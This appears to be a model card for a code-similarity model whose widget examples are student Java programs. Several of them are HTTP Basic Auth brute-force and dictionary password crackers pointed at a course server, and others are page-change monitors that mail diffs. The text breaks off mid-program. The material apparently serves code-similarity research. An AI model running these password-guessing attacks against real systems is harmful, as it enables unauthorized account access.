|
--- |
|
tags: |
|
- sentence-transformers |
|
- sentence-similarity |
|
- feature-extraction |
|
- generated_from_trainer |
|
- dataset_size:16705 |
|
- loss:SoftmaxLoss |
|
base_model: microsoft/unixcoder-base-unimodal |
|
widget: |
|
- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\ |
|
import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private\ |
|
\ URL url;\n private HttpURLConnection connection ;\n private int stopTime\ |
|
\ = 0;\n private int startTime = 0;\n private int count = 0;\n\n public\ |
|
\ BruteForce()\n {\n System.out.println(\"Process is running...\");\n \ |
|
\ startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n\ |
|
\ }\n\n public static void main (String args[])\n {\n BruteForce bf\ |
|
\ = new BruteForce();\n }\n \n public void threeLetters()\n {\n String\ |
|
\ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\ |
|
\ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\ |
|
\ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\ |
|
\ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ |
|
\ + i2));\n decision(s1);\n count++;\n\n \ |
|
\ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\ |
|
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ |
|
\ decision(s1);\n count++;\n\n s1 =\ |
|
\ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ |
|
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ |
|
\ decision(s1);\n count++;\n\n s1 =\ |
|
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ |
|
\ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ |
|
\ decision(s1);\n count++;\n\n s1 =\ |
|
\ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ |
|
\ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ |
|
\ count++;\n\n s1 = (String.valueOf((char)(a[0] +\ |
|
\ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ |
|
\ + i2));\n decision(s1);\n count++;\n\n \ |
|
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\ |
|
\ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ |
|
\ decision(s1);\n count++;\n\n s1 =\ |
|
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ |
|
\ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ |
|
\ count++;\n }\n }\n }\n }\n \n public\ |
|
\ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\ |
|
\ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\ |
|
\ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\ |
|
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ |
|
\ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\ |
|
\ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \ |
|
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \ |
|
\ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\ |
|
\ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\ |
|
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ |
|
\ count++;\n }\n }\n }\n\n \n public void decision(String\ |
|
\ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\ |
|
\ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\ |
|
);\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\ |
|
\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\ |
|
\ Web site: \");\n displayContent(s1);\n System.out.println(\"\ |
|
\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\ |
|
\\nNumber of attempts: \" + count);\n System.out.println();\n\n \ |
|
\ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\ |
|
\ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\ |
|
http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\ |
|
\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\ |
|
\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\ |
|
\ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\ |
|
\ }\n return responseCode;\n }\n\n \n public void displayContent(String\ |
|
\ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\ |
|
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\ |
|
\ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\ |
|
Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\ |
|
\ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\ |
|
\ {\n InputStreamReader reader = new InputStreamReader (stream);\n\ |
|
\ bw = new BufferedReader (reader);\n String line;\n\n\ |
|
\ while ((line = bw.readLine()) != null)\n {\n \ |
|
\ System.out.println(line);\n }\n }\n }\n \ |
|
\ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\ |
|
\ }\n }\n}\n\n\n\n\n" |
|
sentences: |
|
- "\nimport java.io.*;\nimport java.net.Socket;\nimport java.util.*;\n\npublic class\ |
|
\ Email\n{\n private String hello;\n private String mailFrom=\"\";\n \ |
|
\ private String mailTo=\"\";\n private String mailData=\"\";\n \n\ |
|
\ private String subject=\"\";\n private String content=\"\";\n private\ |
|
\ String follows=\"\";\n private String changeContent=\"\";\n private\ |
|
\ String stop=\"\";\n private String end=\"\";\n private String line=\"\ |
|
\";\n private InputStream is;\n private BufferedReader bf;\n private\ |
|
\ OutputStream os;\n private PrintWriter pw;\n public Email(Vector change)\ |
|
\ throws Exception\n {\n hello= \"HELO mail.rmit.edu.\";\n mailFrom\ |
|
\ = \"MAIL FROM: @cs.rmit.edu.\";\n mailTo = \"RCPT : @cs.rmit.edu.\";\n\ |
|
\ mailData = \"DATA\";\n subject=\"Subject: Some changes occur\";\n\ |
|
\ content=\" is some changes the : http://www.cs.rmit.edu./students/\";\n\ |
|
\ follows=\"The changes as follows:\";\n for(int i=0;i<change.size();i++)\n\ |
|
\ changeContent+=change.elementAt(i).toString()+\"\\r\\n\";\n stop\ |
|
\ =\"\\r\\n.\";\n end=\"QUIT\";\n }\n public void send() throws Exception\n\ |
|
\ {\n Socket sk = new Socket(\"mail.cs.rmit.edu.\",25);\n is= sk.getInputStream();\n\ |
|
\ os = sk.getOutputStream();\n pw = new PrintWriter(new OutputStreamWriter(os));\n\ |
|
\ pw.println(hello);\n pw.println(mailFrom);\n pw.println(mailTo);\n\ |
|
\ pw.println(mailData);\n pw.println();\n pw.println(subject);\n\ |
|
\ pw.println(content);\n pw.println(follows);\n pw.println(changeContent);\n\ |
|
\ pw.println(stop);\n pw.println(end);\n pw.flush();\n pw.get();\n\ |
|
\ \n }\n}" |
|
- "\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.util.*;\n\ |
|
import java.net.*;\n\npublic class Dictionary\n{\n private String userPassword;\n\ |
|
\ private static int counter;\n\n\n\n\n\n public Dictionary(String username)\n\ |
|
\ {\n String user;\n String password;\n counter = 0;\n user = username;\n\ |
|
\n try\n {\n FileReader fr = new FileReader( \"/usr/share/lib/dict/words\"\ |
|
\ );\n BufferedReader bf = new BufferedReader( fr );\n\n \ |
|
\ while ((password = bf.readLine()) != null)\n {\n \ |
|
\ userPassword = user + \":\" + password;\n\n System.out.print(\"\ |
|
.\");\n\n if (password.length() == 3)\n \ |
|
\ if (doEncoding(userPassword)== true)\n {\n \ |
|
\ System.out.println(password);\n \ |
|
\ return;\n }\n\n counter++;\n\ |
|
\ }\n }\n catch ( IOException ioe )\n \ |
|
\ {\n System.err.println( ioe.toString() );\n }\n }\n\n\ |
|
\n\n\n private boolean doEncoding(String userPassword)\n {\n String\ |
|
\ encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());\n \ |
|
\ return doAttempt(encoding);\n }\n\n\n\n\n\n private boolean doAttempt\ |
|
\ (String encoding)\n {\n\n try\n {\n URL url = new URL (\"\ |
|
http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n URLConnection uc = url.openConnection();\n\ |
|
\ uc.setDoInput(true);\n uc.setDoOutput(true);\n\n uc.setRequestProperty\ |
|
\ (\"Get\", \"/SEC/2/ \" + \"HTTP/1.1\");\n uc.setRequestProperty (\"\ |
|
Host\", \"sec-crack.cs.rmit.edu.\");\n uc.setRequestProperty (\"Authorization\"\ |
|
, \" \" + encoding);\n\n return uc.getHeaderField(0).trim().equalsIgnoreCase(\"\ |
|
HTTP/1.1 200 OK\");\n }\n catch (MalformedURLException e)\n \ |
|
\ {\n System.out.println (\"Invalid URL\");\n }\n catch (IOException\ |
|
\ e)\n {\n System.out.println (e.toString() );\n }\n\n \ |
|
\ return false;\n }\n\n\n\n\n\n public static void main(String args[])\n\ |
|
\ {\n Date sdate = new Date();\n System.out.print(\"Starting the Ditionary\ |
|
\ Attack at:\" + sdate + \"\\n\");\n\n Dictionary bf = new Dictionary(args[0]);\n\ |
|
\n Date edate = new Date();\n System.out.print(\"Ditionary Attack ends\ |
|
\ at:\" + sdate + \"\\n\");\n System.out.println(\"Time taken by Dictionary\ |
|
\ is : \" + (edate.getTime() - sdate.getTime())/1000 + \" seconds \\n\");\n \ |
|
\ System.out.print(\"Attempts in this session:\" + counter + \"\\n\");\n\n\ |
|
\ }\n}\n\n\n\n\n" |
|
- "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport\ |
|
\ java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String\ |
|
\ urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator\ |
|
\ auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\ |
|
\n\t System.out.println(\"trying passord: \" + passwd);\n try{\n \ |
|
\ URL yahoo = new URL(urlString); \n BufferedReader in =\ |
|
\ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n \ |
|
\ String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\ |
|
\t System.out.println(inputLine);\n\t System.out.println(\"passord:\ |
|
\ \" + passwd);\n returnval = 1;\n }\n\t in.close();\n\ |
|
\ }catch(Exception e){ returnval = 0;}\n return returnval;\n \ |
|
\ }\n\n public static void main(String argv[]) { \n\n String[] val =\ |
|
\ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\ |
|
m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\ |
|
z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ |
|
M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\ |
|
Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n\ |
|
\ int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce\ |
|
\ s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n \ |
|
\ pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ |
|
\ \n if (retval > 0) {\n System.exit(0);\n }\n }\n\ |
|
\n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c\ |
|
\ = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n\ |
|
\ retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n\ |
|
\ if (retval > 0) {\n System.exit(0);\n }\n \ |
|
\ }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n \ |
|
\ for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int\ |
|
\ f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+\ |
|
\ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ |
|
\ \n if (retval > 0) {\n System.exit(0);\n \ |
|
\ }\n }\n }\n }\n\n } \n} \n\n" |
|
- source_sentence: "\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\n\ |
|
public class WatchDog\n{\n\n \n public static void main(String args[])throws\ |
|
\ Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n\ |
|
\ {\n \n\n String s1[] = {\"/usr/local//tcsh\", \"-c\"\ |
|
, \"mailx -s \\\"Part 2-Assignment2 \\\" < change.html\"};\n String\ |
|
\ s2[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.* predir\"\ |
|
};\n String s3[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\ |
|
\ predir\"};\n String s4[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.*\ |
|
\ postdir\"};\n String s5[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\ |
|
\ postdir\"};\n String s6[] = {\"/usr/local//tcsh\", \"-c\", \"diff copy1\ |
|
\ copy2 > diff.html\"};\n\n\n Process p = Runtime.getRuntime().exec(\"\ |
|
mkdir predir\");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec(\"\ |
|
mkdir postdir\");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec(\"\ |
|
wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p1.waitFor();\n\ |
|
\n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n\ |
|
\ Process q3 = Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\ |
|
\n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec(\"\ |
|
wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p3.waitFor();\n\ |
|
\n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n\ |
|
\ Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\ |
|
\n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n\ |
|
\ DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n\ |
|
\ p4.waitFor();\n \n System.out.println(\"The\ |
|
\ WatchDog - Returns 0 if change else 1\");\n System.out.println(\"\ |
|
Value :\" + p4.exitValue());\n try\n {\n \ |
|
\ while ((str = inp1.readLine()) != null)\n {\n \ |
|
\ System.out.println(str);\n }\n }\n \ |
|
\ catch (IOException e)\n {\n System.exit(0);\n \ |
|
\ }\n\n }\n catch(FileNotFoundException e )\n \ |
|
\ {\n e.printStackTrace();\n }\n\n BufferedReader\ |
|
\ in = new BufferedReader(new FileReader(\"change.html\"));\n \n \ |
|
\ if (in.readLine() != null)\n {\n\n try\n {\n\ |
|
\ String str1;\n p5 = Runtime.getRuntime().exec(s1);\n \ |
|
\ DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n\ |
|
\ p5.waitFor();\n try\n {\n while\ |
|
\ ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n\ |
|
\ }\n }\n catch (IOException e1)\n \ |
|
\ {\n System.exit(0);\n }\n\n }\n \ |
|
\ catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n\ |
|
\ }\n\n }\n }\n }\n}\n\n" |
|
sentences: |
|
- "import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\n\ |
|
public class WatchDog {\n\n public WatchDog() {\n\n }\n public static void\ |
|
\ main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println(\"\ |
|
ishti\");\n\n System.out.println(\"Downloading first copy\");\n Runtime.getRuntime().exec(\"\ |
|
wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n String[] cmdDiff\ |
|
\ = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n \ |
|
\ String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\ |
|
\" < Diff.txt\"};\n while(true){\n Thread.sleep(24*60*60*1000);\n\ |
|
\ System.out.println(\"Downloading new copy\");\n Runtime.getRuntime().exec(\"\ |
|
wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n\ |
|
\ Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n\ |
|
\ newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n\ |
|
\ if (newin.readLine() != null){\n System.out.println(\"\ |
|
Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n \ |
|
\ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n \ |
|
\ }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\ |
|
\ }\n\n }\n\n}" |
|
- "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\n\ |
|
public class Dictionary\n{\n\n\n\n public void crackAddress(String fileName)\ |
|
\ throws Exception\n {\n String line,username=\"\",passwd,pass;\n \ |
|
\ int flag=0,i;\n BufferedReader bf = new BufferedReader(new FileReader(fileName));\n\ |
|
\ Runtime run = Runtime.getRuntime();\n GregorianCalendar =new GregorianCalendar();\n\ |
|
\ while((passwd=bf.readLine().trim())!=null)\n {\n if((i=passwd.indexOf(\"\ |
|
\\'\"))!= -1)\n {\n passwd =passwd.substring(0,i)+(\"\ |
|
\\\\\")+(passwd.substring(i,passwd.length()));\n }\n\n \ |
|
\ System.out.println(\"Hack password with the word:\"+passwd);\n\t String\ |
|
\ command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\"\ |
|
:\"+passwd+\" -dump\";\n\t Process result = run.exec(command_line);\n \ |
|
\ BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\ |
|
\n while((line=bf.readLine())!=null)\n {\n flag=1;\n \ |
|
\ break;\n\n }\n if(flag==1)\n {\n System.out.println(\"\ |
|
The username is: \"+username+\" The password is: \"+passwd);\n break;\n\ |
|
\ }\n }\n GregorianCalendar end=new GregorianCalendar();\n\ |
|
\ double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n\ |
|
\ System.out.println(\"The attack use\"+time+\" seconds.\");\n }\n\n\ |
|
public static void main(String args[]) throws Exception\n{\n Dictionary ds =\ |
|
\ new Dictionary();\n ds.crackAddress(args[0]);\n}\n}" |
|
- "import java.*;\nimport java.io.*;\npublic class C\n{\n public static void\ |
|
\ main (String [] args){\n try{\n \n int m=0,n=0,w=0;\n \ |
|
\ String file = \"passwd.\";\n char ch1='A',ch2='A',ch3='A';\n \ |
|
\ for(int i = 0 ; i < 26; i++ )\n {\n for(w=0;w<2;w++)\n \ |
|
\ {\n if (w==1)\n i+=32;\n for(int j = 0;\ |
|
\ j< 26 ; j++)\n {\n for(n=0;n<2;n++)\n {\n \ |
|
\ if(n==1)\n j+=32;\n for(int k = 0; k<26\ |
|
\ ; k++)\n {\n for(m=0; m<2; m++)\n \ |
|
\ {\n if(m==1)\n k+=32;\n \ |
|
\ char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};\n \ |
|
\ String str = new String(data);\n System.out.println(str);\n\ |
|
\ FileWriter fr1 = new FileWriter(file,true);\n \ |
|
\ BufferedWriter in1 = new BufferedWriter(fr1);\n in1.write(str);\n\ |
|
\ in1.newLine();\n in1.print();\n \ |
|
\ if (k>=31)\n k-=32;\n \ |
|
\ }\n }\n if(j>=31)\n j=j-32;\n \ |
|
\ }\n }\n if(i>=31)\n i-=32;\n \ |
|
\ }\n }\n}\ncatch(IOException e)\n{\n System.out.println(\"try\"\ |
|
);\n}\n}\n}\n" |
|
- source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\n\ |
|
import java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\ |
|
\npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n\ |
|
\ private PrintWriter out2;\n private TextArea response;\n int status;\n\ |
|
\ int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int\ |
|
\ newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n \ |
|
\ PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n\ |
|
\ status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n\ |
|
\ file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n\ |
|
\ printW = new PrintWriter(fout);\n }\n catch (IOException\ |
|
\ ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n \ |
|
\ }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n \ |
|
\ u = new URL(url);\n try\n {\n \n \ |
|
\ uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n\ |
|
\ BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\ |
|
\n String line;\n\n \n while ((line = in.readLine())\ |
|
\ != null)\n {\n \n printW.println(line);\n\ |
|
\n }\n }\n catch (Exception e)\n {\n \ |
|
\ System.out.println(\"Error: \" + e);\n }\n }\n \ |
|
\ catch (MalformedURLException e)\n {\n System.out.println(url\ |
|
\ + \" is not a parseable URL\");\n }\n \n printW.print();\n\ |
|
\n\n if(flag == 1)\n {\n \n compareDiff(\"@.rmit.edu.\"\ |
|
);\n }\n }\n\n String loadStream(InputStream in) throws IOException\n\ |
|
\ {\n int ptr = 0;\n in = new BufferedInputStream(in);\n \ |
|
\ StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next())\ |
|
\ != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n\ |
|
\ mailFlag++;\n \n }\n return buffer.toString();\n\ |
|
\ }\n\n public void compareDiff(String emailAdd)\n {\n String cmds\ |
|
\ = \"diff test1.txt test2.txt\";\n PrintWriter printW2 = null;\n \ |
|
\ FileOutputStream fout2;\n \n File file = new File(\"diff.txt\");\n\ |
|
\ file.delete();\n String ;\n\n try\n {\n fout2\ |
|
\ = new FileOutputStream(\"diff.txt\",true);\n printW2 = new PrintWriter(fout2);\n\ |
|
\ }\n catch (IOException ioe)\n {\n System.out.println(\"\ |
|
IO Error : \" + ioe);\n }\n\n try\n {\n\n\n \n \ |
|
\ Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out\ |
|
\ = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n \ |
|
\ printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n printW2.print();\n\ |
|
\n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n\ |
|
\ BufferedReader buf2;\n\n try\n {\n \ |
|
\ fRead2 = new FileReader(\"diff.txt\");\n buf2 = new\ |
|
\ BufferedReader(fRead2);\n String line2;\n int\ |
|
\ i=0;\n\n line = new String(\" some changes the web as followed:\ |
|
\ \\n\");\n \n Socket s = new Socket(\"wombat.cs.rmit.edu.\"\ |
|
, 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n \ |
|
\ send(null);\n send(\"HELO cs.rmit.edu.\");\n \ |
|
\ send(\"MAIL FROM: @.rmit.edu.\");\n \n \ |
|
\ send(\"RCPT : @.rmit.edu.\");\n send(\"DATA\");\n \ |
|
\ \n\n while( (line2 = buf2.readLine()) != null)\n \ |
|
\ {\n \n line= new String(\"\"+line2+\"\\n\");\n \ |
|
\ \n \n\n }\n \ |
|
\ \n \n \n out2.print();\n \ |
|
\ send(\".\");\n s.print();\n }\n \ |
|
\ catch(FileNotFoundException e)\n {\n System.out.println(\"\ |
|
File not found\");\n }\n catch(IOException ioe)\n \ |
|
\ {\n System.out.println(\"IO Error \" + ioe);\n \ |
|
\ }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n\ |
|
\ \n System.err.print(loadStream(ps.getErrorStream()));\n \ |
|
\ }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n\ |
|
\ }\n }\n\n public void send(String s) throws IOException\n {\n\ |
|
\ \tresponse = new TextArea();\n \tif(s != null)\n \t{\n \ |
|
\ response.append(s + \"\\n\");\n out2.println(s);\n\t out2.flush();\n\ |
|
\t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}" |
|
sentences: |
|
- "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\npublic class BruteForce\n\ |
|
{\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
;\n private static String password;\n private static int length; \ |
|
\ \n private static int t_counter; \n private static int f_counter;\ |
|
\ \n \n private static int cases;\ |
|
\ \n \n private static int respCode;\ |
|
\ \n\n public BruteForce()\n {\n Authenticator.setDefault(new\ |
|
\ BruteForceAuthenticator());\n t_counter = 0;\n f_counter = 0;\n \ |
|
\ cases = 0;\n }\n\n public static void main (String[] args)\n {\n \ |
|
\ BruteForce bf = new BruteForce();\n String file = \" \";\n while(respCode\ |
|
\ != 200)\n {\n file = bf.fetchURL();\n }\n System.out.println(\"\ |
|
Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\ |
|
\ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\ |
|
\ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\ |
|
\ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\ |
|
\ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \ |
|
\ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\ |
|
\ BufferedReader in = \n new BufferedReader (new InputStreamReader\ |
|
\ (content));\n String line;\n while ((line = in.readLine()) !=\ |
|
\ null) \n {\n pw.println(line);\n }\n } catch\ |
|
\ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\ |
|
\ sw.toString();\n }\n \n class BruteForceAuthenticator extends\ |
|
\ Authenticator \n {\n private String username = \"\";\n\n protected\ |
|
\ PasswordAuthentication getPasswordAuthentication()\n {\n return\ |
|
\ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\ |
|
\ char[] generatePassword()\n {\n int i,j,k;\n int n = 26;\n\ |
|
\ String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n String letters2\ |
|
\ = \"abcdefghijklmnopqrstuvwxyz\";\n \n i=0;\n j=0;\n \ |
|
\ k=0;\n \n \n \n if(t_counter == 0)\n {\n\ |
|
\ length = 1;\n cases = 0;\n f_counter = 0;\n\ |
|
\ }\n if(t_counter == 2*n)\n {\n length = 2;\n\ |
|
\ cases = 0;\n f_counter = 0;\n }\n if(t_counter\ |
|
\ == (2*n + 4*n*n))\n {\n length = 3;\n cases =\ |
|
\ 0;\n f_counter = 0;\n }\n\n char c[] = new char[length];\n\ |
|
\n \n \n if(length == 1)\n {\n if(f_counter\ |
|
\ == n)\n {\n cases++;\n f_counter = 0;\n\ |
|
\ }\n i = f_counter;\n\n } else if(length == 2)\ |
|
\ \n {\n if(f_counter == n*n)\n {\n \ |
|
\ cases++;\n f_counter = 0;\n }\n i = f_counter/n;\n\ |
|
\ j = f_counter - i*n;\n\n } else if(length == 3) \n \ |
|
\ {\n if(f_counter == n*n*n)\n {\n cases++;\n\ |
|
\ f_counter = 0;\n }\n i = f_counter/(n*n);\n\ |
|
\ j = (f_counter - i*n*n)/n;\n k = f_counter - i*n*n - j*n;\n\ |
|
\ }\n\n \n switch(cases)\n {\n case\ |
|
\ 0:\n c[0] = letters1.charAt(i);\n if(length > 1)\ |
|
\ c[1] = letters1.charAt(j);\n if(length > 2) c[2] = letters1.charAt(k);\n\ |
|
\ break;\n case 1:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ |
|
\ if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\ |
|
\ if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\ |
|
\ break;\n case 2:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ |
|
\ c[1] = letters1.charAt(j);\n if(length > 2) c[2]\ |
|
\ = letters1.charAt(k);\n break;\n case 3:\n \ |
|
\ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\ |
|
\ if(length > 2) c[2] = letters1.charAt(k);\n break;\n\ |
|
\ case 4:\n c[0] = letters1.charAt(i);\n \ |
|
\ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\ |
|
\ break;\n case 5:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ |
|
\ c[1] = Character.toUpperCase(letters1.charAt(j));\n \ |
|
\ c[2] = letters1.charAt(k);\n break;\n case 6:\n\ |
|
\ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\ |
|
\ c[2] = Character.toUpperCase(letters1.charAt(k));\n \ |
|
\ break;\n case 7:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ |
|
\ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\ |
|
\ break;\n default:\n break;\n \ |
|
\ }\n\n f_counter++;\n t_counter++;\n\n password = new\ |
|
